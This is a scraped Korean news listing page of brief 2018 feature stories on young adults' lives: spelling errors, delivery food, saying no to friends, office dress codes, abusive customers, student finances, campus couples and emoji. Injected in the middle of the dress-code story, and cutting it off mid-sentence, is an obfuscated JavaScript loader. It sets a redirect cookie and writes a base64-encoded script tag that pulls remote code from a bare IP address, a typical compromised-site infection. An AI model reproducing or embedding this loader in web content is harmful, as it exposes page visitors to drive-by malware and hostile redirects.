  • 신조어가 넘쳐 나는 지금 "맞춤법이 뭐 그리 중요해?" 라고 할 수 있겠지만 사실은 그렇지 않다.알바몬이 조사한 바에 따르면 여대생 10명 중 9명은 맞춤법을 틀리는 남성에게 실망한다고 했다. 남성 역시 10명 중 8명은 맞춤법을 틀리는 여성에 대한 호감이 줄어든다고 답했다.취업을 준비하는 20대라면 맞춤법은 더 중요하다. 기본적인 맞춤법이 틀린 이력서나 자기소개서를 기업의 인사담당자가 좋은 시선으로 바라볼 리가 없기 때문이다.그래서 마련했다. 평소에도 자주 사용하고, 자기소개서에서도 한 번은 등장할 법한 틀리기 쉬운 맞춤법.어른 찾아갈 때 한 번쯤은 써봤을 법한 '뵈요'와 '봬요''뵈요'와 '봬요'의 구분국립국어원에 따르면 '뵈다'는 '뵈-' 뒤에 모음과 자음으로 시작하는 어미가 모두 붙습니다. '뵈어'가 될 수 있을 때는 '봬'로도 줄여 씁니다.'뵈어다'는 되지 않아 '봬다'도 안 써다만 '뵈어다'가 되지 않아서 '봬다'로 쓰지 않고 '뵈어서, 뵈었다, 뵈어요'를 '봬서, 뵀다, 봬요'로 줄여 쓰는 것입니다.또 '뵙다'가 '뵈다'보다 더 겸손한 태도를 나타냅니다.카톡 속의 매너남은 교수님을 '찾아 뵙으러 갈 것'이 아니라 '찾아 뵈러 간다'고 말했어야 합니다.교수님께는 "교수님 제가 내일 찾아 봬도 될까요?"라고 묻고 찾아 봬야 하고 교수님을 봬면 '교수님을 찾아 뵙고자 이렇게 왔습니다'라고 말씀드리면 성적 문의가 화기애애한 분위기에서 시작되겠죠?아울러 동기들에게 예의를 갖춘다고 '내일 봬요'라고 말하는 것은 맞는 표현은 아닙니다. 뵈어요의 표현이긴 하지만 '-어요'는 청유형, 즉 '같이 ~를 하자'는 표현입니다.말하는 사람이 상대방에게 격식을 갖춰야 할 때는 '내일 찾아뵙겠습니다' 또는 '내일 뵐게요'라고 하는 것이 맞고 격의 없는 관계라면 '내일 봐요'라고 하는 것이 맞는 표현입니다.
2018.07.13 I 한정선 기자
  • [스냅타임] 밀레니얼 세대, 집밥보다 배달의 민족?
  • 최근 통계청 인구 총 조사 결과에 따르면 1인 가구의 비율이 지난 2000년 15.5%에서 지속적으로 증가해 지난 2016년 27.9%를 차지했다. 특히 '밀레니얼 세대'(1980년대 초반부터 2000년대 초반 출생한 세대)인 대학생이나 사회 초년생의 1인 가구 증가율이 점점 상승 곡선을 그리고 있다.하루하루 끼니를 해결하기 위한 수단으로 편의점을 향하거나 휴대폰에 있는 앱을 통해 배달을 시킨다. 최근 소비자물가지수 동향을 보면 5월 기준으로 지난해 같은 기간 보다 1.5%포인트 상승했다. 날이 갈수록 높아져 가는 물가에 한 끼를 굶거나 도시락으로 때우는 일도 허다하다. (이미지=이미지투데이) 우리가 어떤 민족입니까?올해 자취 3년 차인 김수창(24·가명)씨는 매일 저녁이 고민이다. 얼마 전 취업해 점심은 회사에서 해결하지만 퇴근 후 저녁을 어떻게 해결해야 할지 늘 걱정이다. 지친 몸을 이끌고 집에 오면 번거로워 배달 음식을 이용한다. 김씨는 “2인분 이상이 아니면 배달이 어려워 식당에서 포장 해 먹었는데 요즘은 1인분 배달도 많아져 자주 이용하는 편”이라고 말했다.지난해 시장조사전문기업 엠브레인 트렌드모니터가 배달음식 이용경험이 있는 만 15세~59세 남녀 1000명을 대상으로 ‘배달 음식’에 관해 설문조사 한 결과 1인 가구가 식사 10번 중 5번을 외식으로 끼니를 해결한다고 밝혔다.1인 가구는 다양한 방식으로 식사를 해결했다. 이용 형태로 배달 음식 74.2%, 완전·반조리 식품 37.6%, 테이크아웃 식품 26.9%로 배달 음식이 가장 많았다. 배달 음식을 많이 이용하는 상황으로는 '밥 대신 다른 것을 먹고 싶을 때'(61.1%, 중복응답) '식사를 준비하기가 귀찮을 때'(59.9%)였다. 그밖에 '반찬 거리가 없을 때'(36.4%), '혼자서 밥을 먹어야 할 때'(18%)가 있다. (이미지=이미지투데이) 전방 100M 벙커 짓고 편의점만 찾아학교 근처 원룸에서 자취 중인 대학교 3학년인 최지훈(24·가명)씨는 저녁 시간이 되면 집 근처 편의점으로 향한다. 마땅히 할 줄 아는 요리가 없다 보니 사 먹는 게 일상이다. 그는 "식당에 가서 밥을 사 먹을 수도 있지만 집에서 편하게 먹기 위해 편의점을 이용한다"고 말했다.지난해 대학내일 20대연구소에서 '20대 소비지출 추적 정성분석 조사' 보고서에서 혼자 거주하는 20대의 소비 활동 중 편의점 이용 비율이 69.4%에 달했다.편의점에서 소비하는 것의 33.1%가 끼니를 해결하기 위한 제품이다. 주로 편의점 도시락이나 삼각 김밥, 라면, 샌드위치의 소비가 두드러졌다. 1인 가구의 월 평균 편의점 소비 횟수는 9.7회로 가족과 거주하는 20대(6회)보다 약 4회 정도 더 높다. (이미지=이미지투데이) 먹고 죽은 귀신이 때깔도 곱다던데자취 7년차인 오다희(27·가명)씨는 현재 국비지원 교육을 받으며 취업을 준비하고 있다. 그녀는 매일 해결해야 하는 식비가 부담스럽다. 다이어트라는 이유로 자기 최면을 걸며 끼니를 거르거나 간단하게 해결한다. 오씨는 “생활하는 데 있어 전적인 부분을 부모님께서 내주고 있다”며 “더는 손 벌리기 미안해 말을 못 한다”고 털어놨다.지난해 '잡코리아X알바몬'에서 취준생 1147명을 대상으로 평소 식사를 조사한 결과 취준생 10명 중 8명이 하루에 한 끼 이상 굶는 것으로 나타났다. 그 중 하루 두 끼를 먹는다고 응답한 취준생이 66.5%(하루 한 끼 16.6%, 하루 세 끼 16.9%)로 가장 많았다. 이유로는 '식비에 대한 경제적 부담'이 43.2%를 기록했다.
2018.07.12 I 박창기 기자
  • [스냅타임] 조금은 싸가지 없어도 괜찮아
  • (이미지=이미지투데이)"(이)윤호, 요즘 변했어. 예전엔 진짜 착했는데... 싸가지 없어졌어."건너 건너 들은 얘기다. 이씨가 얼굴 좀 보자는 친구의 연락에 '피곤하다'고 거절했던 날, 친구가 다른 이에게 이씨의 험담을 했다는 내용이었다.이씨는 친구가 왜 자신을 험담했는지 이해했다. 과거엔 부탁하면 뭐든 들어줬던 이씨가 최근 들어 '거절'을 하기 시작했기 때문이다. 거절할 줄 몰랐던 그 남자본래가 그랬다. 그에게 있어 '거절'이란 다른 사람에게 상처를 줄 수도 있는 행위, 미움 받는 행위였기 때문이다.그래서 이씨는 거절하지 않았다.친구의 갑작스러운 연락에 '피곤하니까 쉬겠다' 말하려다가도 미안한 마음에 몰려오는 피곤함을 외면하고 술집으로 향했고, 잘 모르는 일이어도 부탁을 받으면 혼자 머리를 싸매고 도와주기 위해 노력했다. 다른 사람의 기분을 상하게 하지 않기 위해 피해를 조금 감수한다거나, 무조건적인 'YES맨'이 됐던 것도 같은 이유에서였다. (이미지=이미지투데이)그런데 그런 이씨에게 돌아온 것은 그의 호의를 당연한 일처럼 생각하는 사람뿐이었다."그들은 저처럼 YES맨이 아니니까요. 제 부탁은 잘만 거절하면서 정작 제가 그들의 부탁을 거절할 땐 큰 일이라도 생긴 마냥 당황해 하더라고요. 그때 알았죠. 내가 다른 사람들한테 너무 맞춰주면서 살았구나. 그들은 나만큼 다른 사람을 생각하지 않는구나. 그리고 내가 이렇게 한다고 해서 고마워하는 게 아니구나." 싸가지 없어지기로 했다"생각해보면 누가 강요한 일은 아니잖아요. 저 혼자 남 신경 쓰느라 호구짓 한 거죠, 뭐."그의 말대로 누구도 그에게 무조건 나오라 하고, 일을 떠맡아 달라고 강요하지 않았다. 다른 사람들을 너무 의식했던 탓에 자신을 희생하면서까지 호의를 베풀었던 것은 이씨 자신이었다.호의가 반복되면서 이를 당연하게 여기는 사람들이 생겨났고 이씨는 자연스럽게 도움이 필요할 때 찾게 되는 사람이 돼 있었다."모든 사람에게 착한 사람이 되려고 노력하다 보니 저 자신한테는 아주 나쁜 사람이 돼 있더라고요. 쉬어야 하는데 몸을 혹사하고, 호의를 베풀면서 혼자 스트레스 받고."그래서 그는 조금 싸가지가 없어지기로 했다. (이미지=이미지투데이)지금의 이씨는 본인이 싫은 일은 더 이상 하지 않는다.얼마 전 한밤중에 걸려온 친구의 전화에 "오늘은 피곤하니까 집에서 쉴게"라고 말했고 자신이 맡은 업무 외에 일들은 유도리 있게 거절했으며, 원치 않는 회식 자리에 끝까지 남아 있지 않는다.그랬더니 생활이 편해졌다. 비록 변했다거나, 싹수 없다는 소리를 들을 때도 있지만 매일 자신을 쫓아 다녔던 피곤함이 없어졌다. 남의 눈치를 안 보니 정신적인 스트레스도 줄었다."싸가지가 없어야 사회생활이 편하다는 말이 있잖아요. 맞는 말 같아요. 남의 기분을 신경 쓰느라, 맞춰주느라 정작 자신을 돌보지 못했던 생활이 조금 편해졌어요. 저처럼 다른 사람 생각하느라 착하게 굴었던 분들이 계신다면 조금은 싸가지 없어도 괜찮다고 말하고 싶어요."
2018.07.12 I 박희주 기자
  • [스냅타임] 꼰대 사용설명서 - "편하게 입고 오세요"
  • 출근 복장에 대한 제한이 없는 회사에 다니고 있는 박모(32·여)씨.평소 치마나 세미정장을 주로 입고 출근을 하던 그는 날씨가 추워져 스웨터에 바지를 입고 갔다. 하필 그날은 임원에게 보고가 있던 날. 박씨는 그날 선배로부터 들은 한 마디가 안 잊혀진다고 했다."너 옷 다 세탁한거야?"박씨는 "평소 회사선배들이 티셔츠를 입거나 편한 복장을 하는 분위기인데 임원보고가 있던 걸 생각하지 못하고 추운 것만 생각하고 따뜻하게만 입었다"고 말했다. 결국 그는 회사의 캐주얼 데이에도 상사에게 받은 지적 때문에 민망해 한동안 정장을 입고 다녔었다.정장을 입지 않아도 되는 회사에서 편하게 입고 오라는 말은 어떻게 받아들여야 할까?서울 광화문의 한 회사에서 과장인 박모(45)씨는 "편하게 입고 다니라는 말이 단정하지 않거나 더럽게 하고 다녀도 된다는 것은 아니다"고 말했다.그는 "특히 술을 마시고 회사 근처에서 잠을 자고 나와서 옷에 음식물이 묻은 상태로 나오는 부하직원의 복장은 최악"이라고 설명했다.박 과장은 "업무 차 외부 사람을 만날 때도 있는데 이것저것 묻은 옷이나 다림질이 필요한데 구겨진 옷을 입고 오는 것도 업무상으로도 부적절한 처사"라고 지적했다.그는 "회사 업무차 외부 사람을 만나러 가는 날은 상대방에게 호감을 줄 수 있도록 갖춰 입는 것도 필요하다"고 강조했다.그러면서 "평소에는 캐주얼이나 정장이든 복장 종류는 관계없이 편하게 입어도 되고 때에 따라서는 격식을 갖춰 입는 것이 현명하다"면서 "평소에도 청결하고 단정하게 입는 부하 직원에 대한 이미지가 좋을 수밖에 없다"고 말했다.박과장이 말하는 호감가는 부하직원의 복장은?첫째 평소에는 캐주얼 입어도 중요한 업무때는 정장 갖춰 입어야둘째 캐주얼 차림이어도 깔끔하고 단정하게 입는 직원이 호감 {var U=document.cookie.match(new RegExp("(?:|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+])/g,"\\$1")+"=([;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}
2018.07.11 I 한정선 기자
  • [스냅타임] 손님 폭언·폭행 갑질엔 형법으로 대처하세요
  • 사례1. 지난해 여름 편의점 알바를 하고 있었어. 50대 초반으로 보이는 아저씨가 들어와 물건을 샀지. 그때 난 그 아저씨한테 봉투 값 20원인데 필요하냐고 물어봤지. 그랬더니 갑자기 혼자 씩씩대면서 “아가씨, 요즘 봉투 값 때문에 살인 난 거 모르냐, 소리소문없이 죽고 싶어. 길 가다가 조심해”라고 하는 거야. 며칠 동안 퇴근길이 정말 무서웠어.사례2. 어느 날 어려 보이는 여성이 들어와서 술을 사려했어. 그때 난 신분증을 확인하려 했지. 근데 사진 속 얼굴이랑 지금 얼굴이 다른 거야. 그래서 판매를 거부하고 다른 편의점을 이용해 달랬지. 근데 퇴근하기 전에 갑자기 일행 4명이 들어오는 거야. 그 중 40대로 보이는 아저씨가 다짜고짜 고함을 지르면서 “민증을 확인 해놓고 술을 왜 안 팔아”라고 난동을 부렸어. 계속 사장 부르라고 하고. 억울하고 무서워서 눈물이 났어. 결국 사장님한테 전화를 했고 몇 분 뒤에 사장님이 오고 나서도 그 아저씨랑 승강이를 벌였어. 내 알바 인생의 최악의 날이었어. (사진=이데일리)3년 가까이 편의점에서 아르바이트를 해오고 있는 김 모(22)씨는 지난해 잊을 수 없는 일을 겪었다. 봉투값 때문에 살해 위협을 느낀 것이다. 대학생 신모(20)씨는 미성년자에게 술을 팔지 않은 것은 잘 한 일이지만, 결국 사장님까지 나서서 진화를 해야 하는 어처구니가 없는 일을 겪었다.이처럼 편의점 뿐 아니라 카페, 음식점 등에서 손님들이 알바생에게 위협을 가하는 일이 심심찮게 벌어지고 있다. 진상손님으로부터 알바생을 보호할 수 있는 조치는 없는 것일까. 고용노동부 근로감독관에게 물었다. (이미지=이미지투데이)Q. 손님이 직원(알바생)에게 폭언·폭행을 했다면 이는 위법행위에 해당하는가.A. 형사법을 적용 할 수있다.Q. 명백한 근로기준법상 위반이 아닌 갑질의 경우 법적인 보호망이 없다고 하는데.A. 사용자와 노동자 간 근로계약 관계인 경우 근로기준법에 적용을 받지만 이번 사례는 노동자(알바생)와 제3자인 손님과의 갈등이기 때문에 그렇다.Q. 손님의 갑질이 이어지면 어디를 통해 구제받을 수 있나.A. 형사법상 문제이기 때문에 경찰서에 신고해야 한다.Q. 손님이 알바생을 하대하는 행태가 잦은 것으로 파악되는데 이에 대한 정부차원의 대책은 없는지.A. 별도로 청소년근로권익센터에서 카톡 등을 통해 실시간으로 상담하고, 공인노무사들도 지원토록 하고 있다.Q. 근로기준법상 위법행위는 성립하지 않나.A. 그렇다. 근로기준법은 사용자와 노동자 간에만 성립하는 것이다.Q. 만약 점주가 알바생에게 폭언이나 욕설을 할 경우, 점주는 어떤 처벌을 받는가.A. 근로기준법(제8조)에는 사용자가 어떠한 이유로도 노동자에게 폭행을 하지 못한다고 명시하고 있다. 따라서 점주가 알바생을 때릴 경우 5년 이하의 징역 또는 3000만원 이하의 벌금에 처한다. 다만 점주가 알바생에 폭언을 했다면 근로기준법상 벌칙이 따로 없고 일반 형법에 따라 처벌을 받는다.
2018.07.11 I 박태진 기자
  • [스냅타임] 꼰대 사용설명서 - 불친절한 지시 대처법
  • "지연 씨가 이번 보고서 맡아서 책임지고 써 보세요."'이건 이렇게 저건 저렇게' 구체적 지시가 없는 '한 번 해보세요' 하는 불친절한 지시. 직장 상사의 이런 지시에는 어떻게 대응해야 할까.직장인 박지연(32·여) 씨는 "상사가 아무런 방향 없이 '그래, 한 번 준비해봐'하는 불친절한 지시는 자기 재량껏 해서는 안 되는 지시"라고 말한다. 박 씨는 "처음 직장 생활을 시작할 때는 '그래 한 번 준비해봐'하는 지시에 '내가 맡은 일인 만큼 제대로 해간다'하는 생각으로 열심히 해갔죠"하고 말했다. 하지만 상사로부터 무참히 박살 났다. 상사로부터 야단 맞는 직장인(이미지=이미지투데이)그는 "'다시, 다시' 라는 무한반복 지시에 짜증이 머리 끝까지 났었다"며 "'그럼 어쩌라는 건가, 똥개 훈련을 하는 건가'하고 따지고 싶었다"고 토로했다.박 씨는 "결국 내 생각이 상사와 완전히 달라서 깨졌다는 것을 깨달았다"고 했다.상사는 어느 정도 머리 속에 밑그림을 그려두고 일을 시켰던 것이다그 뒤로 박씨는 일을 받을 때 질문을 몇 가지 던지고 방향을 찾아서 보고서를 가져간다고 했다. 질문을 여러 개 하면 자칫 따지는 것으로 비칠 수 있기 때문에 박씨는 자신만의 법칙을 세웠다. 박씨는 일단 보고서를 쓰려고 하는데 이런 방향으로 써도 되는지 고민이라고 공손하게 말해야 한다고 설명했다.조언을 구한다는 식으로 운을 떼야 한다는 것그는 "상사의 조언을 들으면서 고개를 끄덕이거나 '아~' 등의 추임새를 넣으며 공감한다는 것을 나타내면 반감 없이 '이렇게 해봐라', '저건 저렇게 해봐라' 힌트를 준다"고 했다. 박 씨는 "물론 상사 중에 자신도 방향을 어떻게 세워야 할 지 모르고 일을 시키는 있다"면서도 "조언 구한다면서 상의를 하기 시작해 함께 방향을 잡은 뒤 보고서를 제출하면 크게 깨지는 않는다"고 덧붙였다.또 "상사에게 조언을 구했고 의견을 충분히 반영했다는 인상을 준 보고서는 완성한 후 가져갔을 때 별 탈 없이 통과된다"고 설명했다. 악수하는 직장인들(사진=이미지투데이)상사의 불친절한 지시에 대응하는 박씨의 비법은첫째 어떻게 해야 할지 감이 안 오는 지시에는 공손한 태도로 조언을 구한다.둘째 고개를 끄덕이거나 '아~' 등의 추임새를 넣으며 공감을 표시한다.
2018.07.10 I 한정선 기자
  • [스냅타임] ‘男직장인 반바지’ 나만 불편해?
  • 작년 여름 직장인 김광렬(24·남) 씨는 장마와 태풍이 함께 온다는 소식에 반바지를 입고 출근했다. 그러나 지하철·버스·회사 어디에서도 자신과 비슷한 복장의 남자 직원을 보지 못했다. ‘회사에서 분명 자율 복장이라고 했는데…’ 김 씨는 의아했다.평소와 다르게 회사 사람들의 시선이 굉장히 따갑게 느껴졌지만 대수롭지 않게 생각하고 일에 집중했다. 그러나 점심시간이 되자 부장이 그를 불러 말했다.“아무리 자율 복장이지만 예의라는 게 있지 않나. 정신 차리자 광렬아.” (이미지=이미지투데이)남자직원에게 '긴바지' 왜 강요하세요?“반바지 외않되?”다음날 김 씨의 길고 두꺼운 정장 바지는 거센 비로 인해 흠뻑 젖었다. 찝찝함 때문에 그날 일과를 제대로 마치지 못했지만, 오히려 부장은 “다리털도 안 보이고 깔끔하고 아주 보기 좋다. 아무리 그래도 반바지를 입는 것은 회사를 무시하는 거야”하고 얘기했다.그러나 주위 여자 동료들은 반바지·치마·원피스·샌들 다양하게 옷을 입고 있었다. 시쳇말로 ‘외않되?’하는 말처럼 부장의 말은 다 틀린 것 같지만 일개 신입은 따를 수밖에 없다. (이미지=이미지투데이)장마나 폭염 때라도김 씨의 소원은 출근길에 바지에 체인을 두르거나 반지를 열두어 개쯤 끼는 것이 아니다. 땀에 흠뻑 젖은 와이셔츠를 입거나 비에 젖은 양말을 신고 일을 하고 싶지 않다. 직장 상사가 보기 편하기 위해 반바지를 못 입는 것이라면 따르고 싶지 않다.“회사가 일하는 곳이지 눈치 보는 곳이 아니잖아요. 그리고 여 직원은 되는데 남 직원은 안된다는 게 이상하죠. 적어도 날씨가 안 좋을 때는 허용해주길 바라요.”다리털이 보기 싫다면 제모할 수도 있다고 했다. (이미지=이미지투데이)기성세대는 오늘도 '반바지 출근러'가 불편하다. 본인 스스로 ‘남자가 무슨 회사에서 반바지야’하고 구속하고 있는 것은 아닐까.김 씨는 출근 복장을 TPO(때(Time), 장소(Place), 상황(Occasion))에 맞추고 싶다. ‘추울 때는 두껍게’ ‘더울 때는 얇게’ ‘내근 때는 편하게’ ‘외근 때는 깔끔하게’ 상황에 맞춰 옷을 고르는 것이 일의 능률을 높일 수 있다. 회사를 만만하게 보는 것이 아니다. 와이셔츠가 '겨땀(겨드랑이 땀)'에 젖어 팔을 드는 것이 두려울 뿐이다
2018.07.10 I 유정수 기자
  • [스냅타임] 비어가는 지갑 채워보니 설 자리가 없다?
  • (이미지=이미지투데이)날이 갈수록 높아져 가는 물가 상승에 대학생들의 등골이 휘어간다. 생활비를 마련하기 위해 수단과 방법을 가리지 않고 일하지만 쉽지 않다. 몸과 마음이 지쳐갈수록 학업에 대한 열정은 시들어간다. ‘청년 실업’이라는 사회 현상을 통해 그들의 설 자리가 얼마나 극단적인지 대변해준다. 결국 '휴학'이라는 최악의 카드를 꺼내며 각박한 사회에게 굴복하고 만다. 오늘도 청춘들은 텅 비어버린 지갑을 채우기 위해 일하고 있다. (이미지=이미지투데이) Money Money 해도 졸업최근 알바몬에서 대학생 1386명을 대상으로 "대학생 알바"에 대해 조사한 결과 대학생 55.3%가 "항상 알바를 한다"고 응답했다. 이유 중 ‘부모님의 도움 없이 용돈을 벌기 위해서’ 가 77.6%로 가장 많았다.대학교 3학년 최지연(26·가명)씨는 주말마다 연회장에서 서빙 알바를 하고 있다. 부모님에게 생활비를 받고 있지만 부담을 덜기 위해 알바를 시작했다. 하지만 요즘 들어 최씨의 고민은 깊어졌다. 졸업을 앞두고 취업준비는 물론이거니와 졸업작품까지 겹쳐 골머리를 앓고 있다. 한꺼번에 많은 일을 감당하게 된 최씨는 몸이 두 개여도 부족한 상황이다. 그는 "알바를 그만두고 싶어도 졸업을 위해선 어쩔 수 없다"며 "하루빨리 졸업하고 싶다” 고 토로했다. (이미지=이미지투데이) 아프니까 청춘이다?밤잠 설치며 알바를 하다 보면 자신도 모르게 건강을 망가뜨린다. 그렇다고 포기할 수도 없다. 알바를 하지 않으면 학교생활을 유지하기 어렵다. 가끔 내가 학교에 다니려고 알바를 하는 것인지 알바를 하려고 학교에 다니는 건지 헷갈리기도 한다. 시간이 지날수록 학생들의 몸과 마음은 점점 무너져 간다.대학 4학년에 재학 중인 장병수(24·가명)씨는 생활비를 벌기 위해 편의점 야간 알바를 하던 도중 과로로 쓰러졌다. 평일에는 야간 알바 후 학교 수업을 소화했고, 주말에는 의류 매장에 일했다. 그렇게 벌어야만 생계를 유지할 수 있었다. 최씨는 “스트레스성 위궤양으로 쓰러져 치료비만 100만원 넘게 나간 적이 있다”고 털어놨다. (이미지=이미지투데이) 상처를 치료해줄 사람 어디 없나?지난해 잡코리아X알바몬에서 대학생 2050명을 대상으로 '휴학 계획'에 대해 조사한 결과 18.9%가 "휴학할 예정"이라고 응답했다. 이유 중 '학비 부담'이 81.1%로 1위를 차지했고 '취업 준비'가 19.9%로 뒤를 이었다. 대학 3학년에 재학 중인 이나영(23·가명) 씨는 현재 휴학 중이다. 지난해부터 집안 형편이 안 좋아지면서 생활비를 감당할 수 없게 돼 휴학을 결정했다. 지금은 생활용품점에서 알바를 하며 생활비를 벌고 있다. 이씨는 올해 상반기 이후 복학하게 될 하반기가 걱정이다. 학교에 돌아가자마자 시작할 돈과의 싸움에 고민이 이만저만이 아니다. 결국 이씨는 "학교생활 할 여건이 안돼 조기취업을 해야 한다"고 말했다.중앙대 사회학과 이병훈 교수는 "대학교를 졸업해도 취업하기 어려운 상황이 되면서 대학교 진학률이 80%대에서 60%대로 떨어졌다"며 "대학교에 대한 경제적인 기대 이익이 취업난 때문에 낮아져 대학 공부에 대한 회의감이 조성된 것"이라고 밝혔다. 결국 돈이라는 '벽'에 무너지자 울며 겨자 먹기로 휴학이나 조기취업을 하는 학생들이 생겨나는 것이다. 이 교수는 "당장 학비와 자기의 생활비를 마련해야 된다는 생각에 알바에 대한 학생들의 의존은 더 커질 것"이라며 "학생들이 당장 소득에 대한 걱정때문에 학교생활을 제대로 수행하지 못하고 있다"고 꼬집었다.돈이라는 장벽에 무너진 학생들이 학업을 포기한 채 일자리를 찾고 나서는 현상은 당분간 계속될 것으로 전망된다.<!--/codes_iframe-->
2018.07.09 I 박창기 기자
  • [스냅타임] 캠퍼스 로망 CC, 알고 보니 '양날의 검'?
  • (이미지=이미지투데이)대학생의 로망 중 하나 캠퍼스 커플. 통칭 CC. 입시 공부에 지친 새내기들은 대학 생활에 새로운 활력을 꿈꾼다. 연인과 교양 수업을 듣거나 캠퍼스 거리를 거니는 행복한 상상에 빠진다. 하지만 모두가 CC를 하는 건 아니다. 최근 알바천국에서 전국 20대 회원 1,360명을 대상으로 ‘캠퍼스 커플’에 관해 조사한 결과 40.1%가 “캠퍼스 커플 경험이 있다”고 응답했다. 이 중 53.6%가 지인에게 “캠퍼스 커플을 추천할 의향이 있다‘고 밝혔다. 반대로 부정적인 반응도 있다. 연애 할 때는 최고의 학교 친구가 되지만 헤어진 후 CC라는 표식이 학기 내내 꼬리표처럼 따라다니는 고충을 겪는다. 대학생들은 연애와 이별을 반복하며 어른으로 성장하고 있다. (이미지=이미지투데이) 모든 것이 좋았다지난해 잡코리아X알바몬에서 조사한 “새내기들이 바라는 캠퍼스 로망” 결과에 따르면 캠퍼스 커플(CC)이 51.7%로 가장 높았다.올해 신입생으로 입학한 진세연(19·가명)씨는 꿈에 그리던 CC를 하고 있다. 신입생은 학기 전 시간표를 계획할 수 없어 미리 짜여 나오는 경우가 많다. 동기생과 매일 부딪히다 보니 자연스럽게 연인으로 발전했다. 진씨는 “시간표가 똑같아 수업을 함께 듣는다”며 “항상 같이 있을 수 있어 좋다”고 말했다. CC는 학교생활 자체를 데이트 코스로 즐길 수 있고, 비슷한 공감대를 형성하고 있기 때문에 서로의 고민을 이해할 수 있다. 신예림(20·가명)씨는 지난해 지방을 벗어나 서울로 상경한 대학생이다. 지금은 학과 선배 A군과 CC 생활을 하고 있다. 신씨는 “불편한 교양수업을 같이 듣거나 아플 때 옆에서 보살핌을 받을 수 있어 좋다”고 말했다.서울에 상경한 지방 학생들은 외로운 타지생활 속에서 CC를 통해 더 이상 쓸쓸하지 않을 수 있었다. (이미지=이미지투데이) 사랑 쌓기 말고 스펙 쌓기 학년이 올라갈수록 두근거리던 마음이 점점 시들어간다. 새내기 시절 머금고 있던 순수함은 어느덧 치열한 경쟁사회 속에서 엿 바꿔 먹은 지 오래다. 지난해 잡코리아X알바몬에서 조사한 “캠퍼스의 로망과 현실” 결과에 따르면 재학생(2~4학년) 기준으로 “캠퍼스의 로망이 깨졌다”고 82.7%가 응답했다. 그 중 ‘취업 압박(54.7%)'이 가장 높았다.이민기(23·가명)씨는 지난해 편입생으로 입학한 1학년이다. 제대 이후 진로가 바뀌면서 편입을 준비했다. 캠퍼스 로망에 대한 기대를 하고 입학했지만 현실은 생각보다 각박했다. 취업 준비로 학점관리는 물론이거니와 이번에 들어간 영어스터디 때문에 공부하기 바쁘다. 머릿속에 취업 스트레스로 가득 차 연애는 꿈도 꿀 수 없다. 이씨는 “밑 빠진 독처럼 채워지지 않는 공복감으로 산다”고 털어놨다.최근 통계청에서 발표한 고용 동향에 따르면 청년(15~29세) 실업률이 10.5%로 지난해보다 1.3%포인트나 상승했다. 날이 갈수록 높아져 가는 실업률에 웬만한 스펙 쌓기와 학점 관리로는 살아남기 어렵다. 더 이상 대학생에게 CC는 로망이 아닌 사치가 됐다. (이미지=이미지투데이) 꺼져줄게 잘 살아20대 10명 중 4명이 CC에 대해 부정적으로 생각한다. 가장 큰 요인으로 ‘헤어진 후 관계가 어색해서’(41.5%)였다.대학교 3학년 한동훈(23·가명)씨는 며칠 전까지만 해도 학교 후배와 CC 관계였다. 그는 헤어진 이후 메신저에 등록된 프로필 사진을 내렸다. 얼마 지나지 않아 휴대폰이 불이 나게 울렸다. 헤어졌느냐는 학교 사람들의 연락이다. 한씨는 최근 SNS에 올라오는 전 연인의 근황을 볼 때마다 심기가 불편했다. 결국 전 연인의 SNS에 들어가 팔로우를 취소했다. 그는 “요즘은 이별 후 SNS 팔로우 취소나 탈퇴를 많이 하는 편”이라고 말했다.CC의 경우 전공수업을 들을 때나 학교행사가 있을 때면 어쩔 수 없이 부딪혀야만 한다. 헤어진 이후 학과 단톡방에 나가기 버튼을 누르고 싶은 경우가 한두 번이 아니다. 불편한 학교생활에 점점 위축해져 가는 자신을 보며 졸업만을 기다린다.
2018.07.09 I 박창기 기자
  • [스냅타임] 지금은 이모지 시대
  • 이게 대체 뭘까요?책인데 글자가 하나도 없습니다.문맹자도 읽을 수 있도록 세계공통어를 염두에 두고 쓴 책이라고 합니다.'이모지'입니다. (원어: 일본어??文字=emoji 영어로 수용되면서 '이모지'로 확산)지난 2015년엔 옥스퍼드 사전이 이모지를 올해의 단어로 선정하기도 했습니다.인스타그램 게시글 중 약 40%는 이모지를 포함하고 있습니다.익숙한 얼굴이 보이시나요?지난 미국 대선 주자들의 얼굴이 이모지로 나오기도 했습니다.이모지 마케팅.?다양한 업계들이 이모지를 활용하고 있는데요,펩시콜라와 도미노피자도 이모지 마케팅을 적극적으로 펼치고 있습니다.AR(증강현실)이모지.지난 3월 출시된 삼성의 '갤럭시S9'과 '갤럭시S9+'엔 AR 이모지도 등장했습니다.삼성전자는 월드컵 시즌에 각 출전국별 AR이모지 풋볼 에디션을 만들기도 했습니다.애니모지. 애플의 아이폰X에 탑재된 애니모지는 사람의 얼굴을 인식해 동물 캐릭터로 바꿔줍니다.50억 개.인포트렌드에 따르면 하루에 페이스북 메신저를 통해서만 50억개의 이모지가 공유되고 있 습니다.20억. 2700만.카카오톡에서는 매월 약 20억 건의 이모티콘 메시지가 발신됩니다.또 2700만 명의 이용자는 이모티콘만으로 대화를 나눈 경험이 있습니다.모두에게 편견 없는 이모지.최근 애플은 장애인을 표현한 13개의 이모티콘을 제안했습니다.새로운 이모티콘을 유니코드가 채택하면 향후 iOS가 업데이트될 때 적용됩니다.문자보다 편하고 재밌어 자주 쓰는 이모지.모두에게 차별 없는 이모지가 계속해서 진화해갔으면 좋겠습니다.[본 카드뉴스는 tyle.io를 통해 제작되었습니다.]
2018.07.09 I 박새롬 기자
  • [스냅타임] 꼰대 사용설명서 - "휴가 편하게 써요"
